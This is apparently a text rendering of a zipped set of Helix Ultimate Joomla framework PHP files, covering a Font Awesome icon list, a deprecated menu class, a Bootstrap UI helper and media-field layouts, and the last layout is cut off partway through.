		'fa-terminal',
		'fa-text-height',
		'fa-text-width',
		'fa-th',
		'fa-th-large',
		'fa-th-list',
		'fa-thumb-tack',
		'fa-thumbs-down',
		'fa-thumbs-o-down',
		'fa-thumbs-o-up',
		'fa-thumbs-up',
		'fa-ticket',
		'fa-times',
		'fa-times-circle',
		'fa-times-circle-o',
		'fa-tint',
		'fa-toggle-down',
		'fa-toggle-left',
		'fa-toggle-off',
		'fa-toggle-on',
		'fa-toggle-right',
		'fa-toggle-up',
		'fa-trademark',
		'fa-train',
		'fa-transgender',
		'fa-transgender-alt',
		'fa-trash',
		'fa-trash-o',
		'fa-tree',
		'fa-trello',
		'fa-tripadvisor',
		'fa-trophy',
		'fa-truck',
		'fa-try',
		'fa-tty',
		'fa-tumblr',
		'fa-tumblr-square',
		'fa-turkish-lira',
		'fa-tv',
		'fa-twitch',
		'fa-twitter',
		'fa-twitter-square',
		'fa-umbrella',
		'fa-underline',
		'fa-undo',
		'fa-university',
		'fa-unlink',
		'fa-unlock',
		'fa-unlock-alt',
		'fa-unsorted',
		'fa-upload',
		'fa-usb',
		'fa-usd',
		'fa-user',
		'fa-user-md',
		'fa-user-plus',
		'fa-user-secret',
		'fa-user-times',
		'fa-users',
		'fa-venus',
		'fa-venus-double',
		'fa-venus-mars',
		'fa-viacoin',
		'fa-video-camera',
		'fa-vimeo',
		'fa-vimeo-square',
		'fa-vine',
		'fa-vk',
		'fa-volume-down',
		'fa-volume-off',
		'fa-volume-up',
		'fa-warning',
		'fa-wechat',
		'fa-weibo',
		'fa-weixin',
		'fa-whatsapp',
		'fa-wheelchair',
		'fa-wifi',
		'fa-wikipedia-w',
		'fa-windows',
		'fa-won',
		'fa-wordpress',
		'fa-wrench',
		'fa-xing',
		'fa-xing-square',
		'fa-y-combinator',
		'fa-y-combinator-square',
		'fa-yahoo',
		'fa-yc',
		'fa-yc-square',
		'fa-yelp',
		'fa-yen',
		'fa-youtube',
		'fa-youtube-play',
		'fa-youtube-square',
		// New
		'fa-address-book',
		'fa-address-book-o',
		'fa-address-card',
		'fa-address-card-o',
		'fa-vcard',
		'fa-vcard-o',
		'fa-bandcamp',
		'fa-bathtub',
		'fa-s15',
		'fa-bath',
		'fa-id-card',
		'fa-drivers-license-o',
		'fa-id-card-o',
		'fa-eercast',
		'fa-envelope-open',
		'fa-envelope-open-o',
		'fa-etsy',
		'fa-free-code-camp',
		'fa-grav',
		'fa-handshake-o',
		'fa-id-badge',
		'fa-id-card-o',
		'fa-imdb',
		'fa-linode',
		'fa-meetup',
		'fa-microchip',
		'fa-podcast',
		'fa-quora',
		'fa-ravelry',
		'fa-shower',
		'fa-snowflake-o',
		'fa-superpowers',
		'fa-telegram',
		'fa-thermometer',
		'fa-thermometer-full',
		'fa-thermometer-4',
		'fa-thermometer-3',
		'fa-thermometer-three-quarters',
		'fa-thermometer-2',
		'fa-thermometer-half',
		'fa-thermometer-1',
		'fa-thermometer-quarter',
		'fa-thermometer-0',
		'fa-thermometer-empty',
		'fa-window-close',
		'fa-window-close-o',
		'fa-user-circle',
		'fa-user-circle-o',
		'fa-user-o',
		'fa-window-maximize',
		'fa-window-restore',
		'fa-wpexplorer'
	);

	/**
	 * Fontawesome icons array.
	 *
	 * @var		array	Fontawesome icons.
	 * @since	2.0.0
	 */
	private $icons = array();


	/**
	 * Constructor function.
	 *
	 * @return 	void
	 * @since	2.0.0
	 */
	public function __construct()
	{
		$this->icons = $this->fa_class_lists;
	}

	/**
	 * Get icon list.
	 *
	 * @return 	array	Fontawesome icons.
	 * @Since	1.0.0
	 */
	public function getIcons()
	{
		return $this->icons;
	}

	/**
	 * Add icon into the array.
	 *
	 * @param	string	$icon	The icon class
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function addIcon($icon)
	{
		$this->icons[] = $icon;
	}
}
PK!`����#helixultimate/core/classes/menu.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
use HelixUltimate\Framework\Core\Classes\HelixultimateMenu as BaseHelixUltimateMenu;
use Joomla\CMS\Log\Log;

defined('_JEXEC') or die();

/**
 * HelixUltimate menu for legacy support.
 *
 * @since   	2.0.0
 * @deprecated 	3.0.0 	Instead of using this class by requiring directly from index.php or other files,
 * 						use from the BaseHelixUltimateMenu directly.
 * 						@see templates/{template}/index.php file for reference.
 */
class HelixultimateMenu extends BaseHelixUltimateMenu
{
	/**
	 * Constructor class.
	 *
	 * @param	string	$class	Classes.
	 * @param	string	$name	Name attribute
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function __construct($class = '', $name = '')
	{
		Log::add(
			sprintf('/plugins/system/helixultimate/core/classes/%s is deprecated. Use HelixUltimate\Framework\Core\Classes\HelixultimateMenu instead.', __CLASS__),
			Log::WARNING,
			'deprecated'
		);

		parent::__construct($class, $name);
	}
}
PK!S���Z�Z;helixultimate/html/layouts/libraries/cms/html/bootstrap.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

/**
 * Utility class for Bootstrap elements.
 *
 * @since  3.0
 */
abstract class HelixBootstrap
{
	/**
	 * @var    array  Array containing information for loaded files
	 * @since  3.0
	 */
	protected static $loaded = array();

	/**
	 * Add javascript support for Bootstrap alerts
	 *
	 * @param   string  $selector  Common class for the alerts
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function alert($selector = 'alert')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.alert', array($selector => ''));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap buttons
	 *
	 * @param   string  $selector  Common class for the buttons
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public static function button($selector = 'button')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.button', array($selector));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap carousels
	 *
	 * @param   string  $selector  Common class for the carousels.
	 * @param   array   $params    An array of options for the carousel.
	 *                             Options for the carousel can be:
	 *                             - interval  number  The amount of time to delay between automatically cycling an item.
	 *                                                 If false, carousel will not automatically cycle.
	 *                             - pause     string  Pauses the cycling of the carousel on mouseenter and resumes the cycling
	 *                                                 of the carousel on mouseleave.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function carousel($selector = 'carousel', $params = array())
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		// Setup options object
		$opt['interval'] = isset($params['interval']) ? (int) $params['interval'] : 5000;
		$opt['pause']    = isset($params['pause']) ? $params['pause'] : 'hover';

		Factory::getDocument()->addScriptOptions('bootstrap.carousel', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap dropdowns
	 *
	 * @param   string  $selector  Common class for the dropdowns
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function dropdown($selector = 'dropdown-toggle')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.dropdown', array($selector));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Method to load the Bootstrap JavaScript framework into the document head
	 *
	 * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging.
	 *
	 * @param   mixed  $debug  Is debugging mode on? [optional]
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function framework($debug = null)
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__]))
		{
			return;
		}

		$debug = (isset($debug) && $debug != JDEBUG) ? $debug : JDEBUG;

		// Load the needed scripts
		HTMLHelper::_('behavior.core');
		HTMLHelper::_('jquery.framework');
		HTMLHelper::_('script', 'vendor/tether/tether.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));
		HTMLHelper::_('script', 'vendor/bootstrap/bootstrap.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));
		HTMLHelper::_('script', 'system/bootstrap-init.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));

		static::$loaded[__METHOD__] = true;
	}

	/**
	 * Method to render a Bootstrap modal
	 *
	 * @param   string  $selector  The ID selector for the modal.
	 * @param   array   $params    An array of options for the modal.
	 *                             Options for the modal can be:
	 *                             - title        string   The modal title
	 *                             - backdrop     mixed    A boolean select if a modal-backdrop element should be included (default = true)
	 *                                                     The string 'static' includes a backdrop which doesn't close the modal on click.
	 *                             - keyboard     boolean  Closes the modal when escape key is pressed (default = true)
	 *                             - closeButton  boolean  Display modal close button (default = true)
	 *                             - animation    boolean  Fade in from the top of the page (default = true)
	 *                             - footer       string   Optional markup for the modal footer
	 *                             - url          string   URL of a resource to be inserted as an `<iframe>` inside the modal body
	 *                             - height       string   height of the `<iframe>` containing the remote resource
	 *                             - width        string   width of the `<iframe>` containing the remote resource
	 * @param   string  $body      Markup for the modal body. Appended after the `<iframe>` if the URL option is set
	 *
	 * @return  string  HTML markup for a modal
	 *
	 * @since   3.0
	 */
	public static function renderModal($selector = 'modal', $params = array(), $body = '')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		$layoutData = array(
			'selector' => $selector,
			'params'   => $params,
			'body'     => $body,
		);

		static::$loaded[__METHOD__][$selector] = true;

		return LayoutHelper::render('joomla.modal.main', $layoutData);
	}

	/**
	 * Add javascript support for Bootstrap popovers
	 *
	 * Use element's Title as popover content
	 *
	 * @param   string  $selector  Selector for the popover
	 * @param   array   $params    An array of options for the popover.
	 *                  Options for the popover can be:
	 *                      animation    boolean          apply a css fade transition to the popover
	 *                      container    string|boolean   Appends the popover to a specific element: { container: 'body' }
	 *                      content      string|function  default content value if `data-content` attribute isn't present
	 *                      delay        number|object    delay showing and hiding the popover (ms) - does not apply to manual trigger type
	 *                                                    If a number is supplied, delay is applied to both hide/show
	 *                                                    Object structure is: delay: { show: 500, hide: 100 }
	 *                      html         boolean          Insert HTML into the popover. If false, jQuery's text method will be used to insert
	 *                                                    content into the dom.
	 *                      placement    string|function  how to position the popover - top | bottom | left | right
	 *                      selector     string           If a selector is provided, popover objects will be delegated to the specified targets.
	 *                      template     string           Base HTML to use when creating the popover.
	 *                      title        string|function  default title value if `title` tag isn't present
	 *                      trigger      string           how popover is triggered - hover | focus | manual
	 *                      constraints  array            An array of constraints - passed through to Tether.
	 *                      offset       string           Offset of the popover relative to its target.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function popover($selector = '.hasPopover', $params = array())
	{
		// Only load once
		if (isset(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		$opt['animation']   = isset($params['animation']) ? $params['animation'] : null;
		$opt['container']   = isset($params['container']) ? $params['container'] : 'body';
		$opt['content']     = isset($params['content']) ? $params['content'] : null;
		$opt['delay']       = isset($params['delay']) ? $params['delay'] : null;
		$opt['html']        = isset($params['html']) ? $params['html'] : true;
		$opt['placement']   = isset($params['placement']) ? $params['placement'] : null;
		$opt['selector']    = isset($params['selector']) ? $params['selector'] : null;
		$opt['template']    = isset($params['template']) ? $params['template'] : null;
		$opt['title']       = isset($params['title']) ? $params['title'] : null;
		$opt['trigger']     = isset($params['trigger']) ? $params['trigger'] : 'hover focus';
		$opt['constraints'] = isset($params['constraints']) ? $params['constraints'] : ['to' => 'scrollParent', 'attachment' => 'together', 'pin' => true];
		$opt['offset']      = isset($params['offset']) ? $params['offset'] : '0 0';


		$opt     = (object) array_filter((array) $opt);

		// Factory::getDocument()->addScriptOptions('bootstrap.popover', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap ScrollSpy
	 *
	 * @param   string  $selector  The ID selector for the ScrollSpy element.
	 * @param   array   $params    An array of options for the ScrollSpy.
	 *                             Options for the ScrollSpy can be:
	 *                             - offset  number  Pixels to offset from top when calculating position of scroll.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function scrollspy($selector = 'navbar', $params = array())
	{
		// Only load once
		if (isset(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.scrollspy', array($selector => $params));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap tooltips
	 *
	 * Add a title attribute to any element in the form
	 * title="title::text"
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                                animation    boolean          apply a css fade transition to the popover
	 *                                container    string|boolean   Appends the popover to a specific element: { container: 'body' }
	 *                                delay        number|object    delay showing and hiding the popover (ms) - does not apply to manual trigger type
	 *                                                              If a number is supplied, delay is applied to both hide/show
	 *                                                              Object structure is: delay: { show: 500, hide: 100 }
	 *                                html         boolean          Insert HTML into the popover. If false, jQuery's text method will be used to insert
	 *                                                              content into the dom.
	 *                                placement    string|function  how to position the popover - top | bottom | left | right
	 *                                selector     string           If a selector is provided, popover objects will be
	 *                                                              delegated to the specified targets.
	 *                                template     string           Base HTML to use when creating the popover.
	 *                                title        string|function  default title value if `title` tag isn't present
	 *                                trigger      string           how popover is triggered - hover | focus | manual
	 *                                constraints  array            An array of constraints - passed through to Tether.
	 *                                offset       string           Offset of the popover relative to its target.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function tooltip($selector = '.hasTooltip', $params = array())
	{
		if (!isset(static::$loaded[__METHOD__][$selector]))
		{
			// Include Bootstrap framework
			HTMLHelper::_('bootstrap.framework');

			// Setup options object
			$opt['animation'] = isset($params['animation']) ? (boolean) $params['animation'] : null;
			$opt['html']      = isset($params['html']) ? (boolean) $params['html'] : true;
			$opt['placement'] = isset($params['placement']) ? (string) $params['placement'] : null;
			$opt['selector']  = isset($params['selector']) ? (string) $params['selector'] : null;
			$opt['title']     = isset($params['title']) ? (string) $params['title'] : null;
			$opt['trigger']   = isset($params['trigger']) ? (string) $params['trigger'] : null;
			$opt['delay']     = isset($params['delay']) ? (is_array($params['delay']) ? $params['delay'] : (int) $params['delay']) : null;
			$opt['container'] = isset($params['container']) ? $params['container'] : 'body';
			$opt['template']  = isset($params['template']) ? (string) $params['template'] : null;
			$onShow           = isset($params['onShow']) ? (string) $params['onShow'] : null;
			$onShown          = isset($params['onShown']) ? (string) $params['onShown'] : null;
			$onHide           = isset($params['onHide']) ? (string) $params['onHide'] : null;
			$onHidden         = isset($params['onHidden']) ? (string) $params['onHidden'] : null;

			$options = json_encode($opt);

			// Build the script.
			$script = array('$(container).find(' . json_encode($selector) . ').tooltip(' . $options . ')');

			if ($onShow)
			{
				$script[] = 'on("show.bs.tooltip", ' . $onShow . ')';
			}

			if ($onShown)
			{
				$script[] = 'on("shown.bs.tooltip", ' . $onShown . ')';
			}

			if ($onHide)
			{
				$script[] = 'on("hide.bs.tooltip", ' . $onHide . ')';
			}

			if ($onHidden)
			{
				$script[] = 'on("hidden.bs.tooltip", ' . $onHidden . ')';
			}

			// Set static array
			static::$loaded[__METHOD__][$selector] = true;
		}

		return;
	}

	/**
	 * Loads js and css files needed by Bootstrap Tooltip Extended plugin
	 *
	 * @param   boolean  $extended  If true, bootstrap-tooltip-extended.js and .css files are loaded
	 *
	 * @return  void
	 *
	 * @since   3.6
	 *
	 * @deprecated  4.0 No replacement, use Bootstrap tooltips.
	 */
	public static function tooltipExtended($extended = true)
	{
		if ($extended)
		{
			HTMLHelper::_('script', 'jui/bootstrap-tooltip-extended.min.js', array('version' => 'auto', 'relative' => true));
			HTMLHelper::_('stylesheet', 'jui/bootstrap-tooltip-extended.css', array('version' => 'auto', 'relative' => true));
		}
	}

	/**
	 * Add javascript support for Bootstrap accordians and insert the accordian
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                             - parent  selector  If selector then all collapsible elements under the specified parent will be closed when this
	 *                                                 collapsible item is shown. (similar to traditional accordion behavior)
	 *                             - toggle  boolean   Toggles the collapsible element on invocation
	 *                             - active  string    Sets the active slide during load
	 *
	 *                             - onShow    function  This event fires immediately when the show instance method is called.
	 *                             - onShown   function  This event is fired when a collapse element has been made visible to the user
	 *                                                   (will wait for css transitions to complete).
	 *                             - onHide    function  This event is fired immediately when the hide method has been called.
	 *                             - onHidden  function  This event is fired when a collapse element has been hidden from the user
	 *                                                   (will wait for css transitions to complete).
	 *
	 * @return  string  HTML for the accordian
	 *
	 * @since   3.0
	 */
	public static function startAccordion($selector = 'myAccordian', $params = array())
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		// Setup options object
		$opt['parent'] = isset($params['parent']) ? ($params['parent'] == true ? '#' . $selector : $params['parent']) : '';
		$opt['toggle'] = isset($params['toggle']) ? (boolean) $params['toggle'] : !($opt['parent'] === false || isset($params['active']));
		$opt['onShow'] = isset($params['onShow']) ? (string) $params['onShow'] : null;
		$opt['onShown'] = isset($params['onShown']) ? (string) $params['onShown'] : null;
		$opt['onHide'] = isset($params['onHide']) ? (string) $params['onHide'] : null;
		$opt['onHidden'] = isset($params['onHidden']) ? (string) $params['onHidden'] : null;

		Factory::getDocument()->addScriptOptions('bootstrap.accordion', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;

		return '<div id="' . $selector . '" class="accordion" role="tablist">';
	}

	/**
	 * Close the current accordion
	 *
	 * @return  string  HTML to close the accordian
	 *
	 * @since   3.0
	 */
	public static function endAccordion()
	{
		return '</div>';
	}

	/**
	 * Begins the display of a new accordion slide.
	 *
	 * @param   string  $selector  Identifier of the accordion group.
	 * @param   string  $text      Text to display.
	 * @param   string  $id        Identifier of the slide.
	 * @param   string  $class     Class of the accordion group.
	 *
	 * @return  string  HTML to add the slide
	 *
	 * @since   3.0
	 */
	public static function addSlide($selector, $text, $id, $class = '')
	{
		$in        = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? ' in' : '';
		$collapsed = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? '' : ' collapsed';
		$parent    = static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] ?
			' data-parent="' . static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] . '"' : '';
		$class     = (!empty($class)) ? ' ' . $class : '';

		$html = '<div class="card mb-2' . $class . '">'
			. '<a href="#' . $id . '" data-bs-toggle="collapse"' . $parent . ' class="card-header' . $collapsed . '" role="tab">'
			. $text
			. '</a>'
			. '<div class="collapse' . $in . '" id="' . $id . '" role="tabpanel">'
			. '<div class="card-block">';

		return $html;
	}

	/**
	 * Close the current slide
	 *
	 * @return  string  HTML to close the slide
	 *
	 * @since   3.0
	 */
	public static function endSlide()
	{
		return '</div></div></div>';
	}

	/**
	 * Creates a tab pane
	 *
	 * @param   string  $selector  The pane identifier.
	 * @param   array   $params    The parameters for the pane
	 *
	 * @return  string
	 *
	 * @since   3.1
	 */
	public static function startTabSet($selector = 'myTab', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));

		if (!isset(static::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			HTMLHelper::_('bootstrap.framework');

			// Setup options object
			$opt['active'] = (isset($params['active']) && ($params['active'])) ? (string) $params['active'] : '';

			Factory::getDocument()->addScriptOptions('bootstrap.tabs', array($selector => $opt));

			// Set static array
			static::$loaded[__METHOD__][$sig] = true;
			static::$loaded[__METHOD__][$selector]['active'] = $opt['active'];
		}

		return LayoutHelper::render('libraries.cms.html.bootstrap.starttabset', array('selector' => $selector));
	}

	/**
	 * Close the current tab pane
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.1
	 */
	public static function endTabSet()
	{
		return LayoutHelper::render('libraries.cms.html.bootstrap.endtabset');
	}

	/**
	 * Begins the display of a new tab content panel.
	 *
	 * @param   string  $selector  Identifier of the panel.
	 * @param   string  $id        The ID of the div element
	 * @param   string  $title     The title text for the new UL tab
	 *
	 * @return  string  HTML to start a new panel
	 *
	 * @since   3.1
	 */
	public static function addTab($selector, $id, $title)
	{
		static $tabScriptLayout = null;
		static $tabLayout = null;

		$tabScriptLayout = $tabScriptLayout === null ? new FileLayout('libraries.cms.html.bootstrap.addtabscript') : $tabScriptLayout;
		$tabLayout = $tabLayout === null ? new FileLayout('libraries.cms.html.bootstrap.addtab') : $tabLayout;

		$active = (static::$loaded['HTMLHelperBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : '';

		// Inject tab into UL
		Factory::getDocument()
			->addScriptDeclaration($tabScriptLayout->render(array('selector' => $selector, 'id' => $id, 'active' => $active, 'title' => $title)));

		return $tabLayout->render(array('id' => $id, 'active' => $active, 'title' => $title));
	}

	/**
	 * Close the current tab content panel
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.1
	 */
	public static function endTab()
	{
		return LayoutHelper::render('libraries.cms.html.bootstrap.endtab');
	}

	/**
	 * Loads CSS files needed by Bootstrap
	 *
	 * @param   boolean  $includeMainCss  If true, main bootstrap.css files are loaded
	 * @param   string   $direction       rtl or ltr direction. If empty, ltr is assumed
	 * @param   array    $attribs         Optional array of attributes to be passed to HTMLHelper::_('stylesheet')
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function loadCss($includeMainCss = true, $direction = 'ltr', $attribs = array())
	{
		// Load Bootstrap main CSS
		if ($includeMainCss)
		{
			HTMLHelper::_('stylesheet', 'vendor/bootstrap/bootstrap.min.css', array('version' => 'auto', 'relative' => true), $attribs);
		}

		/**
		 * BOOTSTRAP RTL - WILL SORT OUT LATER DOWN THE LINE
		 * Load Bootstrap RTL CSS
		 * if ($direction === 'rtl')
		 * {
		 *  HTMLHelper::_('stylesheet', 'jui/bootstrap-rtl.css', array('version' => 'auto', 'relative' => true), $attribs);
		 * }
		 */

	}
}
PK!b�2helixultimate/html/layouts/form/field/media_j3.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

use Joomla\CMS\Uri\Uri;

extract($displayData);

// Load the modal behavior script.
JHtml::_('behavior.modal');

// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'media/mediafield-mootools.min.js', array('version' => 'auto', 'relative' => true, 'framework' => true));

// Tooltip for INPUT showing whole image path
$options = array(
	'onShow' => 'jMediaRefreshImgpathTip',
);

JHtml::_('behavior.tooltip', '.hasTipImgpath', $options);

if (!empty($class))
{
	$class .= ' form-control hasTipImgpath';
}
else
{
	$class = 'form-control hasTipImgpath';
}

$attr = '';

$attr .= ' title="' . htmlspecialchars('<span id="TipImgpath"></span>', ENT_COMPAT, 'UTF-8') . '"';

// Initialize some field attributes.
$attr .= !empty($class) ? ' class="input-small field-media-input ' . $class . '"' : ' class="input-small"';
$attr .= !empty($size) ? ' size="' . $size . '"' : '';

// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : '';

// The text field.
echo '<div class="input-group">';

// The Preview.
$showPreview = true;
$showAsTooltip = false;

switch ($preview)
{
	case 'no': // Deprecated parameter value
	case 'false':
	case 'none':
		$showPreview = false;
		break;

	case 'yes': // Deprecated parameter value
	case 'true':
	case 'show':
		break;
	case 'tooltip':
	default:
		$showAsTooltip = true;
		$options = array(
				'onShow' => 'jMediaRefreshPreviewTip',
		);
		JHtml::_('behavior.tooltip', '.hasTipPreview', $options);
		break;
}

// Pre fill the contents of the popover
if ($showPreview)
{
	if ($value && file_exists(JPATH_ROOT . '/' . $value))
	{
		$src = Uri::root() . $value;
	}
	else
	{
		$src = '';
	}

	$width = $previewWidth;
	$height = $previewHeight;
	$style = '';
	$style .= ($width > 0) ? 'max-width:' . $width . 'px;' : '';
	$style .= ($height > 0) ? 'max-height:' . $height . 'px;' : '';

	$imgattr = array(
		'id' => $id . '_preview',
		'class' => 'media-preview',
		'style' => $style,
	);

	$img = JHtml::_('image', $src, JText::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);
	$previewImg = '<div id="' . $id . '_preview_img"' . ($src ? '' : ' style="display:none"') . '>' . $img . '</div>';
	$previewImgEmpty = '<div id="' . $id . '_preview_empty"' . ($src ? ' style="display:none"' : '') . '>'
		. JText::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') . '</div>';

	if ($showAsTooltip)
	{
		echo '<div class="media-preview input-group-text">';
		$tooltip = $previewImgEmpty . $previewImg;
		$options = array(
			'title' => JText::_('JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE'),
					'text' => '<span class="icon-eye" aria-hidden="true"></span>',
					'class' => 'input-group-text hasTipPreview'
					);

		echo JHtml::_('tooltip', $tooltip, $options);
		echo '</div>';
	}
	else
	{
		echo '<div class="media-preview input-group-text" style="height:auto">';
		echo ' ' . $previewImgEmpty;
		echo ' ' . $previewImg;
		echo '</div>';
	}
}

echo '	<input type="text" name="' . $name . '" id="' . $id . '" value="'
	. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '" readonly="readonly"' . $attr . ' data-basepath="'
	. Uri::root() . '"/>';

?>

<?php
	$modalLink = '';

	if(!$readonly)
	{
		if(!$link)
		{
			$modalLink .= 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;asset=' . $asset . '&amp;author=' . $authorField;
		}
		else
		{
			$modalLink .= $link;
		}

		$modalLink .= '&amp;fieldid=' . $id . '&amp;folder=' . $folder;
	}
?>

<?php
/**
 * Close the modal on selecting image
 * and clicking insert button
 */
JFactory::getDocument()->addScriptDeclaration(
	"
		jQuery(function($) {
			window.parent.jModalClose = function(e) {
				let bsModal = $('.modal.show');
				let mtModal = $('#sbox-window');
				let frameContents = $('#sbox-content iframe').contents(); 
				let isMediaModal = frameContents.find('body.com-media.view-images').length > 0;

				if (bsModal.length) {
					if (isMediaModal) {
						if ($('.img-preview.selected').length) {
							bsModal.modal('hide');
						}
					}
				} else if (mtModal.length) {
					if (isMediaModal) {

						let imageListFrame = frameContents.find('iframe').contents().find('body.com-media.view-imagesList');
						
						if (imageListFrame.find('.img-preview.selected').length) {
							SqueezeBox.close();
						}
					}
				}
			}
		});
	"
);
?>

	<div class="input-group-text">
		<a class="modal modal-btn btn btn-primary" title="<?php echo JText::_('JLIB_FORM_BUTTON_SELECT'); ?>" href="<?php echo $modalLink; ?>" rel="{handler: 'iframe', size: {x: 800, y: 500}}">
			<?php echo JText::_('JLIB_FORM_BUTTON_SELECT'); ?>
		</a>

		<a class="btn btn-secondary hasTooltip"
			title="<?php echo JText::_('JLIB_FORM_BUTTON_CLEAR'); ?>"
			href="#"
			onclick="jInsertFieldValue('', '<?php echo $id; ?>'); return false;"
		>
			<span class="fas fa-times" aria-hidden="true"></span>
		</a>
	</div>
</div>PK!����EE/helixultimate/html/layouts/form/field/media.phpnu&1i�<?php
/**
 * @package     Joomla.Admin
 * @subpackage  Layout
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\MediaHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  string   $asset           The asset text
 * @var  string   $authorField     The label text
 * @var  integer  $authorId        The author id
 * @var  string   $class           The class text
 * @var  boolean  $disabled        True if field is disabled
 * @var  string   $folder          The folder text
 * @var  string   $id              The label text
 * @var  string   $link            The link text
 * @var  string   $name            The name text
 * @var  string   $preview         The preview image relative path
 * @var  integer  $previewHeight   The image preview height
 * @var  integer  $previewWidth    The image preview width
 * @var  string   $onchange        The onchange text
 * @var  boolean  $readonly        True if field is readonly
 * @var  integer  $size            The size text
 * @var  string   $value           The value text
 * @var  string   $src             The path and filename of the image
 * @var  array    $mediaTypes      The supported media types for the Media Manager
 * @var  array    $imagesExt       The supported extensions for images
 * @var  array    $audiosExt       The supported extensions for audios
 * @var  array    $videosExt       The supported extensions for videos
 * @var  array    $documentsExt    The supported extensions for documents
 * @var  string   $dataAttribute   Miscellaneous data attributes preprocessed for HTML output
 * @var  array    $dataAttributes  Miscellaneous data attribute for eg, data-*
 */

$attr = '';

// Initialize some field attributes.
